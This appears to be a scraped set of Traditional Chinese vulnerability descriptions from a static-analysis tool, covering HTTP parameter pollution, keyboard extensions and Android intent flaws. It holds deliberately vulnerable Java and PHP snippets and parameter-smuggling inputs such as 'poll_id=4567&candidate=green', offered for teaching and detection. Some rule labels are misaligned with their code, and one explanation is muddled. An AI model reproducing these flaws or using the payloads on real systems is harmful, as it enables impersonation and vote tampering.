[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.http_parameter_pollution
Abstract
將未經驗證的輸入連結成 URL 可能讓攻擊者覆寫要求參數的值。攻擊者可能可以覆寫現有參數值,注入新的參數或者利用直接接觸得到的變數。
Explanation
HTTP Parameter Pollution (HPP)攻擊包含將編碼的字串限制字元注入其他現有參數。如果 Web 應用程式不能妥當清潔使用者輸入,惡意使用者可能危及應用程式邏輯,執行用戶端或伺服器端的攻擊。經由提交額外參數到網頁應用程式,且如果這些參數的名稱與現有參數相同,網頁應用程式可能以下列其中一種方式反應:

僅可使用第一個參數的資料
可使用最後一個參數的資料
可使用所有參數的資料,並將這些資料串連在一起


例如:
- ASP.NET/IIS 會使用所有出現的參數
- Apache Tomcat 僅使用第一個出現的參數並忽略其他位置出現的參數
- mod_perl/Apache 會將值轉換為一個值陣列

範例 1:根據應用程式伺服器及應用程式本身的邏輯而定,下列要求可能造成驗證系統的混淆,進而允許攻擊者模擬另一位使用者。
http://www.example.com/login.php?name=alice&name=hacker

範例 2:以下程式碼使用 HTTP 要求的輸入建立兩個超連結。

...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...


URL: http://www.example.com?poll_id=4567
連結 1: <a href="001">English<a>
連結 2: <a href="002">Spanish<a>

程式設計師沒有考慮到攻擊者能夠提供 lang (例如 en&poll_id=1) 的可能性,然後該攻擊者可以隨意變更 poll_id
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.http_parameter_pollution
Abstract
將未經驗證的輸入連結成 URL 可能讓攻擊者覆寫要求參數的值。攻擊者可能可以覆寫現有參數值,注入新的參數或者利用直接接觸得到的變數。
Explanation
HTTP Parameter Pollution (HPP)攻擊包含將編碼的字串限制字元注入其他現有參數。如果 Web 應用程式不能妥當清潔使用者輸入,惡意使用者可能危及應用程式邏輯,執行用戶端或伺服器端的攻擊。經由提交額外參數到網頁應用程式,且如果這些參數的名稱與現有參數相同,網頁應用程式可能以下列其中一種方式反應:

僅可使用第一個參數的資料
可使用最後一個參數的資料
可使用所有參數的資料,並將這些資料串連在一起


例如:
- ASP.NET/IIS 會使用所有出現的參數
- Apache Tomcat 僅使用第一個出現的參數並忽略其他位置出現的參數
- mod_perl/Apache 會將值轉換為一個值陣列

範例 1:根據應用程式伺服器及應用程式本身的邏輯而定,下列要求可能造成驗證系統的混淆,進而允許攻擊者模擬另一位使用者。
http://www.server.com/login.php?name=alice&name=hacker

範例 2:以下程式碼使用 HTTP 要求的輸入建立兩個超連結。


<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>


URL: http://www.host.com/election.php?poll_id=4567
連結 1: <a href="vote.php?poll_id=4567&candidate=white">Vote for Mr. White<a>
連結 2: <a href="vote.php?poll_id=4567&candidate=green">Vote for Mrs. Green<a>

程式設計師尚未考慮到攻擊者可能會提供 poll_id,例如「4567&candidate=green」,然後結果頁面中將含有下列注入的連結,因此 Mrs. Green 將一直由選取第一個參數的應用程式伺服器進行投票。
<a href="vote.php?poll_id=4567&candidate=green&candidate=white">Vote for Mr. White<a>
<a href="vote.php?poll_id=4567&candidate=green&candidate=green">Vote for Mrs. Green<a>
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.http_parameter_pollution
Abstract
將未經驗證的輸入連結成 URL 可能讓攻擊者覆寫要求參數的值。攻擊者可能可以覆寫現有參數值,注入新的參數或者利用直接接觸得到的變數。
Explanation
HTTP Parameter Pollution (HPP)攻擊包含將編碼的字串限制字元注入其他現有參數。如果 Web 應用程式不能妥當清潔使用者輸入,惡意使用者可能危及應用程式邏輯,執行用戶端或伺服器端的攻擊。經由提交額外參數到網頁應用程式,且如果這些參數的名稱與現有參數相同,網頁應用程式可能以下列其中一種方式反應:

僅可使用第一個參數的資料。
可使用最後一個參數的資料。
可使用所有參數的資料,並將這些資料串連在一起。


例如:
- ASP.NET/IIS 會使用所有出現的參數
- Apache Tomcat 僅使用第一個出現的參數並忽略其他位置出現的參數
- mod_perl/Apache 會將值轉換為一個值陣列

範例 1:根據應用程式伺服器及應用程式本身的邏輯而定,下列要求可能造成驗證系統的混淆,進而允許攻擊者模擬另一位使用者。
http://www.server.com/login.php?name=alice&name=hacker

如此所示,攻擊者已指定 name=alice,但已新增其他 name=alice&,如果在第一次使用它們的伺服器上使用,則會模擬 alice 以便取得其帳戶的進一步資訊。
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.http_parameter_pollution
Abstract
應用程式允許安裝第三方鍵盤延伸。
Explanation
允許鍵盤延伸讀取使用者輸入的每個單一按鍵輸入。通常使用第三方鍵盤來簡化文字輸入或新增其他 Emoji,它們可能會記錄使用者輸入的內容,甚至將其傳送至遠端伺服器進行處理。還可能會散佈惡意鍵盤作為鍵盤記錄木馬程式,讀取使用者輸入的每個金鑰值,以竊取諸如憑證或信用卡號等敏感資料。
References
[1] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[2] UIApplicationDelegate Apple
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.objc.input_interception_keyboard_extensions_allowed
Abstract
應用程式允許安裝第三方鍵盤延伸。
Explanation
允許鍵盤延伸讀取使用者輸入的每個單一按鍵輸入。通常使用第三方鍵盤來簡化文字輸入或新增其他 Emoji,它們可能會記錄使用者輸入的內容,甚至將其傳送至遠端伺服器進行處理。還可能會散佈惡意鍵盤作為鍵盤記錄木馬程式,讀取使用者輸入的每個金鑰值,以竊取諸如憑證或信用卡號等敏感資料。
References
[1] UIApplicationDelegate Apple
[2] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.swift.input_interception_keyboard_extensions_allowed
Abstract
允許使用者輸入控制 Intent 參數,可讓攻擊者控制後續活動的行為。
Explanation
發生以下兩種情況時會造成用意操縱問題:

1.攻擊者能夠指定 Android 意圖的動作、類別名稱或元件。

例如,攻擊者可能會指定用於控制用意的類別名稱或元件。

2.攻擊者可藉由指定動作、類別名稱或元件來取得一般情況下不被允許的功能。

例如,程式可能會允許攻擊者傳輸敏感資訊到裝置上的第三方軟體。

範例 1:以下程式碼使用讀取自 HTTP 要求的引數來設定意圖的類別名稱。


String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
References
[1] Intent
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark partial
[8] Standards Mapping - Common Weakness Enumeration CWE ID 99
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[16] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[17] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[18] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[19] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation
Abstract
偵測到隱含內部 Intent。隱含的內部 Intent 可能會使系統遭受對內部元件的 man-in-the-middle 樣式攻擊。
Explanation
內部 Intent 使用內部元件定義的自訂動作。隱含 Intent 可以促進從任何指定外部元件呼叫 Intent,而無需了解特定元件。將兩者相結合,會允許應用程式從所需的應用程式內容外部存取指定給特定內部使用的 Intent。

從外部應用程式處理內部 Intent 的能力,可以引發從資訊洩漏、Denial of Service 到遠端程式碼執行等各種不同嚴重程度的 man-in-the-middle 攻擊,具體取決於 Intent 指定之內部動作的能力。

範例 1:以下程式碼使用內部隱含內部 Intent


...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
References
[1] Remediation of Implicit Internal Intent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
